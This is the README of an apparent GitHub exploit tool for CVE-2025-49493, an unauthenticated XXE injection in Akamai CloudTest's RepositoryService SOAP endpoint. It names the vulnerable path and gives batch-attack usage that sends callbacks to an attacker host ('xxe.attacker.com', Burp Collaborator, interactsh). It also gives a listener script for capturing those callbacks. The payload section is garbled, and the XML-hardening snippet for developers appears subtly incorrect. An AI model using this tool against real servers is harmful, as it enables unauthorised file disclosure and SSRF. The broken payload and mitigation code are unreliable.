SystemVll/CVE-2025-49493
GitHub: SystemVll/CVE-2025-49493
针对 Akamai CloudTest SOAP 服务 XXE 注入漏洞(CVE-2025-49493)的 Python 自动化检测与利用工具。
Stars: 1 | Forks: 0
# Akamai CloudTest XXE Exploit (CVE-2025-49493)
## 概述
这是一个基于 Python 的 **CVE-2025-49493** exploit,该漏洞影响 60 2025.06.02 (12988) 之前的 Akamai CloudTest 版本。该漏洞允许通过 SOAP service endpoint 进行 XML External Entity (XXE) 注入。
## 漏洞详情
- **CVE ID**: CVE-2025-49493
- **漏洞类型**: XML External Entity (XXE) Injection
- **严重程度**: Critical (CVSS 9.1)
- **受影响软件**: Akamai CloudTest
- **受影响版本**: 60 2025.06.02 (12988) 之前
- **攻击向量**: Network
- **需要身份验证**: 否
## 技术细节
该漏洞存在于 `/concerto/services/RepositoryService` SOAP endpoint 中,该处在处理 XML 输入时未对外部实体进行适当的清理。攻击者可以构造恶意的 XML payload 来触发 XXE 攻击,这可能导致:
- 信息泄露
- SSRF (Server-Side Request Forgery)
- 拒绝服务
- 在某些配置下潜在的 RCE
## 功能
- **目标发现**: 自动识别 Akamai CloudTest 实例
- **漏洞检测**: 检查是否存在易受攻击的 endpoint 和特征
- **XXE 利用**: 发送带有 XXE payload 的构造 SOAP 请求
- **多目标支持**: 支持从目标文件进行批处理
- **详细日志**: 带有时间戳的全面彩色日志记录
- **错误处理**: 针对 Network 问题提供强大的错误处理机制
## 安装
### 前置条件
- Python 3.6 或更高版本
- pip package manager
### 依赖项
安装所需的 package:
```
pip install -r requirements.txt
```
或手动安装:
```
pip install requests urllib3 colored pyfiglet
```
## 用法
### 基本用法
```
python main.py targets.txt xxe.attacker.com
```
### 进阶用法
```
# 使用自定义 timeout
python main.py targets.txt collaborator.burp.com --timeout 20
# 使用 interactsh 进行 OOB 检测
python main.py targets.txt attacker.interactsh.com
```
### 命令行选项
```
positional arguments:
targets Target file containing list of Akamai CloudTest hosts
xxe_server XXE server to capture requests (e.g., attacker.com or IP)
optional arguments:
-h, --help show this help message and exit
--timeout TIMEOUT Request timeout in seconds (default: 10)
```
## 目标文件格式
创建一个 `targets.txt` 文件,每行一个目标:
```
https://example-cloudtest.akamai.com
https://demo-cloudtest.example.com
https://test-cloudtest.internal.company.com
https://cloudtest.example.org
```
## 设置 XXE 服务器
### 选项 1: 使用 Burp Collaborator
1. 打开 Burp Suite Professional
2. 转到 Burp > Burp Collaborator client
3. 点击“Copy to clipboard”获取你的 collaborator URL
4. 将此 URL 用作 xxe_server 参数
### 选项 2: 使用 Interactsh
1. 安装 interactsh: `go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest`
2. 运行: `interactsh-client`
3. 将提供的 URL 用作 xxe_server 参数
### 选项 3: 自定义 HTTP Server
设置一个简单的 HTTP server 来捕获请求:
```
# simple_server.py
import http.server
import socketserver
class RequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"XXE Request received: {self.path}")
print(f"Headers: {self.headers}")
super().do_GET()
with socketserver.TCPServer(("", 8000), RequestHandler) as httpd:
print("Server running on port 8000")
httpd.serve_forever()
```
## 利用流程
1. **目标验证**: 验证 URL 格式和可访问性
2. **漏洞检测**:
- 检查响应中的 CloudTest 指标
- 验证 SOAP service endpoint 是否存在
3. **XXE Payload 生成**: 创建带有 XXE 的恶意 SOAP envelope
4. **漏洞利用**: 将构造好的请求发送至易受攻击的 endpoint
5. **结果分析**: 分析响应以获取成功指标
## XXE Payload 结构
此 exploit 使用以下 XXE payload 结构:
```
]>
&xxe;
```
## 缓解措施
### 对于管理员
1. **立即采取的行动**:
- 将 Akamai CloudTest 更新至 60 2025.06.02 或更高版本
- 监控日志以发现可疑的 XML 处理活动
- 实施 Network 分段以限制暴露
2. **长期解决方案**:
- 在 XML parser 中禁用 XML external entity 处理
- 实施输入验证和清理
- 对 XML 处理使用允许列表
- 定期进行安全评估
### 对于开发者
1. **安全的 XML 处理**:
# 在 XML parsers 中禁用 external entities
import xml.etree.ElementTree as ET
parser = ET.XMLParser()
parser.parser.DefaultHandler = lambda data: None
parser.parser.ExternalEntityRefHandler = lambda *args: False
2. **输入验证**:
- 根据严格的 schema 验证所有 XML 输入
- 在 XML 处理前清理用户可控的数据
- 实施适当的错误处理
## 参考
- [xbow 的原始研究](https://xbow.com/blog/xbow-akamai-cloudtest-xxe/)
- [Akamai CloudTest 更新日志](https://techdocs.akamai.com/cloudtest/changelog/june-2-2025-enhancements-and-bug-fixes)
- [CVE-2025-49493 详情](https://nvd.nist.gov/vuln/detail/CVE-2025-49493)
- [OWASP XXE 预防](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)
## 法律免责声明
此工具仅用于教育和授权测试目的。用户在测试任何系统之前,有责任确保已获得适当的授权。作者不对因使用此工具而造成的任何滥用或损害负责。
## 许可证
该项目在 MIT 许可证下授权——有关详细信息,请参阅 LICENSE 文件。
## 作者
- **原始研究**: xbow, 3th1c_yuk1
- **Exploit 开发**: Security Research Team
- **CVE 分配**: CVE-2025-49493
## 更新日志
### v1.0.0
- 初始版本
- 基础的 XXE 漏洞利用功能
- 目标文件支持
- 全面的日志记录
- 错误处理改进
标签:Python, XXE攻击, XXE注入, 无后门, 逆向工具